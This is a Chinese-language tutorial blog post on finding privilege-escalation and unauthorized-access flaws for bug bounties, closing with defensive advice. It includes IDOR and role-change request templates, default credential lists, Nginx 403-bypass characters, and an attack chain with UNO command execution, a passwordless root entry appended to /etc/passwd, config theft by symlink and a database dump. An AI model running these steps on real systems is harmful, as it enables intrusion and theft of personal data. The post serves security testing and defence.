【SRC】基础思路篇10:越权与未授权访问完全指南

文章目录

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

前言

在SRC漏洞挖掘中,越权和未授权访问是最常见也是最危险的漏洞类型。攻击者可以通过越权漏洞访问其他用户的数据或执行超出权限的操作,通过未授权访问漏洞无需登录即可访问敏感资源。充分掌握越权和未授权访问的挖掘方法,能帮助我们快速发现高价值漏洞。本文将系统性地介绍越权和未授权访问的常见类型、检测方法和实战技巧。


一、越权漏洞

越权漏洞是指用户在已认证的情况下,能够访问或操作超出其权限范围的资源。越权漏洞分为水平越权和垂直越权两种类型。

1. 水平越权

定义:同一级别用户之间的权限绕过,即普通用户可以访问其他普通用户的资源。

常见场景

参数枚举型越权

检测方法:修改URL或请求体中的用户ID参数,尝试访问其他用户的数据。

实战示例

http 复制代码
# 原始请求
GET /api/user/123 HTTP/1.1

# 修改用户ID为其他用户
GET /api/user/456 HTTP/1.1

成功结果:返回用户456的个人信息,包括姓名、手机号、邮箱等。

IDOR(Insecure Direct Object References)

检测方法:直接访问对象的ID,无需权限校验。

常见参数名

  • useriduidid
  • orderidorder_id
  • articleidpostid
  • fileiddocumentid

实战示例

http 复制代码
# 访问自己的订单
GET /api/order/1001 HTTP/1.1

# 尝试访问其他用户的订单
GET /api/order/1002 HTTP/1.1
删除操作越权

检测方法:尝试删除其他用户的资源。

实战示例

http 复制代码
# 删除自己的文章
DELETE /api/article/123 HTTP/1.1

# 尝试删除其他用户的文章
DELETE /api/article/456 HTTP/1.1

注意:如果参数需要猜测,则危害较小,可能不收;除非是有规律的参数(如自增ID)。

业务越权

场景描述:在特定业务场景中,用户可以执行超出其权限的操作。

实战示例

跨房间禁言

在直播间场景中,普通用户可以禁言其他房间的用户。

优惠券共享

将自己的优惠券分享给他人使用。

审核/批改越权

学生可以提前获取考试答案,或修改批改结果。

2. 垂直越权

定义:低权限用户可以访问或操作高权限用户(如管理员)的资源。

常见场景

凭证替换型越权

检测方法:使用低权限用户的凭证调用高权限接口。

实战示例

http 复制代码
# 管理员接口
POST /api/admin/recycle/config HTTP/1.1
Authorization: Bearer {admin_token}

{"recycleDays": 1}

# 使用普通用户token调用
POST /api/admin/recycle/config HTTP/1.1
Authorization: Bearer {normal_user_token}

{"recycleDays": 1}

成功结果:响应成功,证明存在垂直越权!

功能对比测试

检测方法:注册不同权限的账号,对比功能差异,抓包分析管理员接口,替换凭证测试越权。

测试步骤

  1. 注册管理员和普通用户账号
  2. 对比功能差异,发现管理员特有功能
  3. 抓包分析管理员操作,获取高权限接口
  4. 使用普通用户凭证调用高权限接口
参数类型校验缺失

检测方法:测试参数的类型边界,如将整数改为字符串。

实战示例

http 复制代码
POST /api/admin/recycle/config HTTP/1.1
Content-Type: application/json
Authorization: Bearer {normal_user_token}

{"recycleDays": "abc"}  // 将整数改为字符串

结果:设置成功,用户打开回收站时出现服务器错误(500响应),回收站功能完全报废。

权限提升接口

检测方法 :寻找修改用户权限的接口,如SysOperatorRole

实战示例

http 复制代码
# 找到权限修改接口
GET /api/SysOperatorRole?userId=123&roleId=1

# 修改自己的角色为管理员
GET /api/SysOperatorRole?userId=456&roleId=0

成功结果:权限修改成功,刷新登录后获得管理员权限。

重置密码越权

检测方法:使用自己账号重置密码的请求,替换session和userid为其他用户。

实战示例

http 复制代码
# 原始请求:重置自己的密码
POST /api/user/resetPassword HTTP/1.1
Cookie: session=xxx

{"userId": 123, "newPassword": "newpass123"}

# 修改为重置其他用户的密码
POST /api/user/resetPassword HTTP/1.1
Cookie: session=xxx

{"userId": 456, "newPassword": "newpass123"}
越权修改绑定邮箱

检测方法:修改别人的绑定邮箱,获取验证信息。

实战示例

http 复制代码
# 修改自己的绑定邮箱
POST /api/user/changeEmail HTTP/1.1
Cookie: session=xxx

{"email": "new@example.com"}

# 修改为别人的绑定邮箱
POST /api/user/changeEmail HTTP/1.1
Cookie: session=xxx

{"userId": 456, "email": "attacker@example.com"}

3. 逻辑越权

场景描述:通过业务逻辑漏洞实现越权访问。

跳转路由鉴权,业务接口未鉴权

检测方法:前端路由做了鉴权,但后端API接口未做权限校验。

实战示例

复制代码
前端路由:/admin → 需要管理员权限
后端接口:/api/admin/user/list → 未做权限校验

直接调用后端接口即可获取管理员数据
同域名站点系统的Cookie共用

检测方法:不同系统共享Cookie,导致跨系统越权。

实战示例

复制代码
系统A:http://app1.example.com
系统B:http://app2.example.com

在系统A登录后,Cookie被系统B共享
可以直接访问系统B的管理员页面
查询参数越权

检测方法:修改查询参数,获取超出权限的数据。

实战示例

http 复制代码
# 查询特定用户数据
GET /api/user/list?userId=10 HTTP/1.1

# 修改参数获取所有数据
GET /api/user/list?userId=10X HTTP/1.1
GET /api/user/list?userId=0 HTTP/1.1
GET /api/user/list?userId= HTTP/1.1
参数污染

检测方法:添加、删除或修改请求参数,测试接口行为。

实战示例

http 复制代码
# 原始请求
POST /api/user HTTP/1.1
Content-Type: application/json

{"username": "test", "password": "123456"}

# 添加额外参数
POST /api/user HTTP/1.1
Content-Type: application/json

{"username": "test", "password": "123456", "role": "admin"}

# 删除参数
POST /api/user HTTP/1.1
Content-Type: application/json

{"username": "test"}

# 修改参数值
POST /api/user HTTP/1.1
Content-Type: application/json

{"username": "test", "password": "123456", "isAdmin": true}
修改用户信息的返回值

检测方法:使用BurpSuite的Match and Replace模块修改响应中的用户信息。

实战示例

复制代码
原始响应:{"role": "user", "isAdmin": false}
修改后:{"role": "admin", "isAdmin": true}

成功结果:前端根据修改后的响应显示管理员界面。

登录凭证重复

检测方法:不同账号登录请求,修改返回凭证。

实战示例

http 复制代码
# 用账号A登录
POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "userA", "password": "passA"}

# 响应:{"token": "tokenA", "userId": 123}

# 修改为账号B的信息
# {"token": "tokenA", "userId": 456}

二、未授权访问

未授权访问是指无需认证或绕过认证即可访问敏感资源。

1. SSO认证绕过

场景描述:系统使用统一认证(SSO),但通过修改HTTP响应可绕过认证。

检测方法

修改响应状态码

实战示例

复制代码
步骤1:访问站点,跳转到统一认证页面
步骤2:抓包分析,发现自动跳转
步骤3:修改返回包,删除响应中的{}
步骤4:成功进入功能点页面(前端静态页面)
步骤5:点击功能点,收到401未授权响应
步骤6:将401改为200,成功获取数据

原理分析

  • 后端下发的{}是身份票据载体,前端JS读取该对象判断登录状态
  • 删除响应中的{}后,前端JS读取变量不存在,跳转判断分支失效
  • 将401改为200后,前端认为请求成功,显示后端返回的真实数据

2. 前端鉴权绕过

场景描述:前端JS代码中判断用户权限,但后端未做权限校验。

检测方法

方法1:替换响应内容
类型 说明 示例
修改状态码 修改401/403为200 绕过登录跳转
修改响应体 修改isAdminrole等字段 伪造管理员身份
修改JS代码 修改判断逻辑 if(e.isLogin)if(!e.isLogin)

实战示例

javascript 复制代码
// 找到/api/getUser接口,修改返回的role字段
{
    "role": 0,  // 改为管理员角色
    "isAdmin": true
}
方法2:断点修改参数值
javascript 复制代码
// 在判断逻辑处打断点
// 控制台修改参数
user.role = 0;  // 修改用户角色为管理员
user.isAdmin = true;  // 设置为管理员
方法3:本地替换JS文件
javascript 复制代码
// 下载JS文件,修改判断逻辑后本地替换
// 浏览器开发者工具→Sources→Overrides

3. 默认凭据与弱口令

场景描述:系统使用默认密码或弱密码,可直接登录。

常见默认凭据

Druid监控后台

默认路径/druid/login.html

常见弱口令

复制代码
admin / admin
admin / 123456
admin / admin123
ruoyi / 123456
ry / 123456
RuoYi框架

默认路径/login

常见弱口令

复制代码
admin / admin123
admin / 123456
其他系统

常见弱口令组合

复制代码
admin / admin
admin / 123456
admin / password
root / root
root / 123456
user / user
test / test

4. 端口关联与凭证复用

场景描述:同一IP的不同端口可能共享用户认证体系,可复用凭证。

检测方法

步骤1:端口探测

测试同一IP的不同端口,寻找凭据共享入口。

步骤2:框架识别

通过接口路径识别技术框架(如若依框架)。

步骤3:凭证复用

从其他端口获取的凭证尝试在目标系统使用。

实战示例

复制代码
目标:某高校体测系统(端口x)
发现:admin用户存在但被禁用

相邻端口(x-1):
- 发现另一套更老旧的登录框
- admin弱密码直接登录成功
- 路径为/prod-api/getinfo,判断为若依框架

体测系统登录:
- 在体测登录框输入admin
- 抓包粘贴从x-1端口获取的Cookie
- 成功登录,但无任何功能点显示

API接口路径探测:
- 从验证码URL提取基址为/xxx
- 拼接正确路径:/xxx/system/user/list
- 使用Bearer Token格式认证
- 成功获取全校学生信息!

5. 未授权接口访问

场景描述:某些接口未做权限校验,可直接访问。

常见未授权接口

Swagger接口文档

检测路径

  • /swagger-ui.html
  • /v2/api-docs
  • /v3/api-docs

泄露信息:所有API接口定义、参数格式、数据模型。

SpringBoot Actuator

检测路径

  • /actuator/env
  • /actuator/trace
  • /actuator/heapdump

泄露信息:环境变量、数据库连接信息、API密钥、堆内存快照。

Elasticsearch

检测路径

  • /_cat/indices
  • /_search

泄露信息:所有索引数据。

UNO服务

检测路径:端口8100

危险接口

  • com.sun.star.frame.Desktop - 文件读取
  • com.sun.star.ucb.SimpleFileAccess - 文件系统操作
  • com.sun.star.system.SystemShellExecute - 命令执行

6. 403绕过技巧

场景描述:访问被拒绝(403),但可通过特殊字符或路径绕过。

常见绕过方法

Nginx 403绕过

特殊路径

  • /; - 添加分号
  • /actuator - 常见Actuator路径
  • // - 双斜杠
  • //; - 双斜杠加分号
Nginx版本特定绕过
Nginx版本 Node.js绕过字符 Flask绕过字符 Spring Boot绕过字符
1.22.0 \xA0 (ASCII 160) \x85, \xA0 ;(分号)
1.21.6 \xA0 \x85, \xA0 ;(分号)
1.20.2 \xA0, \x09, \x0C \x85, \xA0, \x1F等 \x09, ;
1.18.0 \xA0, \x09, \x0C \x85, \xA0, \x1F等 \x09, ;
1.16.1 \xA0, \x09, \x0C \x85, \xA0, \x1F等 \x09, ;

URL编码

  • \xA0 → %C2%A0
  • \x09 → %09
  • \x0C → %0C
  • \x85 → %C2%85
  • ; → %3B

7. 页面一闪而过

场景描述:打开页面,一闪而过后台界面,然后跳转到登录页。

检测方法

  1. 使用BurpSuite卡住响应
  2. 查看是否存在window.location跳转
  3. 修改或删除跳转代码

三、攻击链

1. Swagger泄露→后台接管攻击链

攻击链概述

复制代码
Swagger泄露 → 弱口令拿低权限 → 垂直越权泄露信息 → 找到权限修改接口 → 权限提升 → 后台接管

实操步骤

步骤1:API入口Fuzz
复制代码
开局登录框 → 找API入口 → onescan递归fuzz → 发现Swagger
步骤2:Swagger利用
复制代码
HAE提取接口 → ApiHunter自动化测试 → CAA提取参数
步骤3:弱口令拿低权限
复制代码
二要素认证尝试弱口令 → 成功拿到低权限token
步骤4:垂直越权测试
复制代码
低权限token跑高权限接口 → 发现信息泄露(146个电话)
步骤5:权限提升
复制代码
发现SysOperatorRole接口 → 修改用户角色为管理员 → 刷新登录 → 后台接管

2. UNO未授权→数据库接管攻击链

攻击链概述

复制代码
UNO未授权暴露 → 任意文件读写 → 命令执行 → 提权root → 
共享目录符号链接 → 读取Web配置 → 获取DB凭据 → 数据导出 → 
密码恢复 → 双因子绕过

实操步骤

步骤1:识别与连接UNO服务
bash 复制代码
# 编译UNO客户端工具
javac -cp tools/unojars/libreoffice-7.3.6.jar scripts/UnoRead.java

# 连接并读取文件
java -cp tools/unojars/libreoffice-7.3.6.jar:. UnoRead 10.1.X.XX 8100 file:///etc/passwd
步骤2:任意文件读写
bash 复制代码
# 枚举目录
java -cp tools/unojars/libreoffice-7.3.6.jar:. UnoFs 10.1.X.XX 8100 list file:///

# 读取文件
java -cp tools/unojars/libreoffice-7.3.6.jar:. UnoFs 10.1.X.XX 8100 cat file:///proc/self/environ
步骤3:命令执行与提权
bash 复制代码
# 命令执行
java -cp tools/unojars/libreoffice-7.3.6.jar:. UnoExec 10.1.X.XX 8100 /bin/sh "-c 'id'"

# 通过/etc/passwd可写提权
printf '%s\n' 'r00t0::0:0:root:/root:/bin/sh' >> /etc/passwd
su r00t0 -c 'id'
步骤4:共享目录符号链接攻击
bash 复制代码
# 创建符号链接
ln -sf /opt/tomcat/webapps/ROOT/WEB-INF/classes/proxool.xml /_temp/proxool.xml

# 通过Web访问获取配置
curl http://10.1.X.XX/_temp/proxool.xml
步骤5:数据库凭据获取与数据导出
bash 复制代码
# 从proxool.xml提取凭据
# Host: 10.1.X.XXX, Port: 3306, User: root, Password: XXXXXX

# 连接数据库
python3 webplus_db.py --query "select * from T_USER" --save loot/users.json

3. 端口关联→凭证复用→超管权限攻击链

攻击链概述

复制代码
相邻端口弱口令登录 → 获取若依框架凭证 → 体测系统复用凭证 → 
提取验证码基址 → 拼接正确API路径 → 调整认证头格式 → 
越权访问用户列表 → 获取超管权限

实操步骤

步骤1:端口探测

测试同一IP的相邻端口,发现老旧登录框。

步骤2:弱口令登录
复制代码
admin弱密码直接登录成功
获取Cookie:JSESSIONID=xxx
步骤3:凭证复用
复制代码
在体测系统登录框输入admin
抓包粘贴从相邻端口获取的Cookie
成功登录,但无任何功能点显示
步骤4:基址提取
复制代码
从验证码URL提取基址为/xxx
拼接正确路径:/xxx/system/user/list
步骤5:认证方式调整
http 复制代码
GET /xxx/system/user/list?pageNum=1&pageSize=100 HTTP/1.1
Authorization: Bearer <token>

成功结果:获取全校学生信息,实现超管权限!


四、找接口技巧

1. 页面有修改/查看/上线,但无删除按钮

检测方法

  1. 搜索已有接口前缀:/api/page
  2. 扩大范围:/page
  3. 按语义猜关键字:del/delete/remove

2. 无权限进入、无突破点的页面

检测方法

  1. JS里一定藏着后台请求接口,可直接调用拿数据
  2. 搜索接口关键字:
    • type:"POST"type:"GET"post("get("
    • url:url:"url:'path:path:"action?

3. 前端灰色禁用、权限不足的功能

检测方法

  1. 从可用接口拿到父路径:/v4/scrm/api/crowd/
  2. 逐级缩小/扩大范围搜索
  3. 按语义搜新增关键字:add/create/new

4. FindSomething工具

注意事项

  • 工具不能全覆盖:独立路由、动态拼接接口扫不到
  • 工具结果需手工修正:
    • /user/getInfo/:uid 改成 /user/getInfo/1
    • /user/getInfo?uid= 补参数 uid=1

五、实战心得

1. 越权测试要耐心

参数枚举是越权测试的核心,需要耐心地测试各种参数组合。不要因为一次失败就放弃,多尝试不同的参数名和参数值。

2. 前后端鉴权要分离

前端鉴权仅为用户体验,后端必须独立鉴权。很多漏洞都是因为后端依赖前端的权限判断,导致绕过。

3. 凭证复用很重要

从一个系统获取的凭证,可能在另一个系统中也有效。特别是同一IP的不同端口,很可能共享认证体系。

4. Swagger是宝藏

遇到Swagger就成功了一半,它会暴露所有API接口信息,包括高权限接口。

5. 弱口令无处不在

不要以为二要素认证就安全,很多系统的二要素认证也存在弱口令问题。

6. 参数类型测试不能少

测试参数的类型边界(整数→字符串等),可能触发逻辑漏洞。

7. 端口关联思维

同一IP的不同端口可能存在关联,相邻端口往往共享凭据。

8. 框架知识储备

熟悉若依、Spring Boot等常见框架的接口路径和默认行为。


六、结语

越权和未授权访问是SRC漏洞挖掘中最常见也是最危险的漏洞类型。从简单的参数枚举到复杂的攻击链构建,每一种类型都可能带来严重的安全风险。本文系统地介绍了越权和未授权访问的常见类型、检测方法和实战技巧,希望能帮助读者建立完整的越权与未授权访问挖掘思维体系。

核心要点回顾

1. 越权测试方法

  • 水平越权:修改用户ID参数,枚举其他用户数据
  • 垂直越权:用低权限凭证调用高权限接口
  • 逻辑越权:利用业务逻辑漏洞实现越权

2. 未授权访问测试方法

  • SSO绕过:修改HTTP响应状态码和响应体
  • 前端鉴权绕过:断点调试、本地替换JS文件
  • 默认凭据:尝试常见弱口令组合
  • 端口关联:测试同一IP的不同端口

3. 攻击链思维

  • 信息收集→识别突破口→获取凭证→横向移动→权限提升
  • 多个漏洞组合可提升危害等级

4. 工具链重要性

  • HAE、ApiHunter、CAA等工具能大大提高效率
  • 小程序逆向工具(WMPFDebugger)是必备工具

学习建议

  1. 多实践:理论知识需要通过实践来巩固,多参与SRC漏洞挖掘
  2. 多对比:注册不同权限的账号进行对比测试
  3. 多尝试:不要轻易放弃,多尝试不同的测试方法
  4. 保持好奇心:越权和未授权访问挖掘需要耐心和好奇心

防御建议

对于防守方来说,越权和未授权访问的防护需要从多个层面入手:

  1. 后端强制鉴权:每个接口都需要验证用户权限
  2. 参数校验:服务端校验所有参数的有效性和权限
  3. 最小权限原则:用户权限按最小原则分配
  4. 认证逻辑后端化:不要依赖前端的权限判断
  5. 操作审计:所有权限变更操作必须记录审计日志
  6. 弱口令防护:禁用默认账号,强制复杂密码策略
相关推荐
技术不好的崎鸣同学3 小时前
[ACTF2020 新生赛]Exec 思路及解法
算法·安全·web安全
国科安芯4 小时前
航天器多路并联大功率电源系统设计与ASP4644均流特性分析
单片机·嵌入式硬件·fpga开发·安全性测试
云水一下9 小时前
DVWA从入门到精通(十一):XSS (Stored)(存储型XSS)
web安全·xss·dvwa·存储型
Chockmans16 小时前
春秋云境CVE-2021-42897(保姆级教学)
计算机网络·安全·web安全·网络安全·安全威胁分析·春秋云境·cve-2021-42897
四月天431 天前
web安全-SSTI(服务器模板注入)
笔记·学习·web安全·网络安全
技术不好的崎鸣同学2 天前
[MRCTF2020]PYWebsite 思路及解法
安全·web安全
有浔则灵2 天前
网络安全核心知识梳理:从OSI模型到密码技术
网络·安全·web安全
Rocket-Luo2 天前
谈谈企业中的网络安全
网络·安全·web安全
技术不好的崎鸣同学2 天前
[BJDCTF2020]The mystery of ip 思路及解法
网络·安全·web安全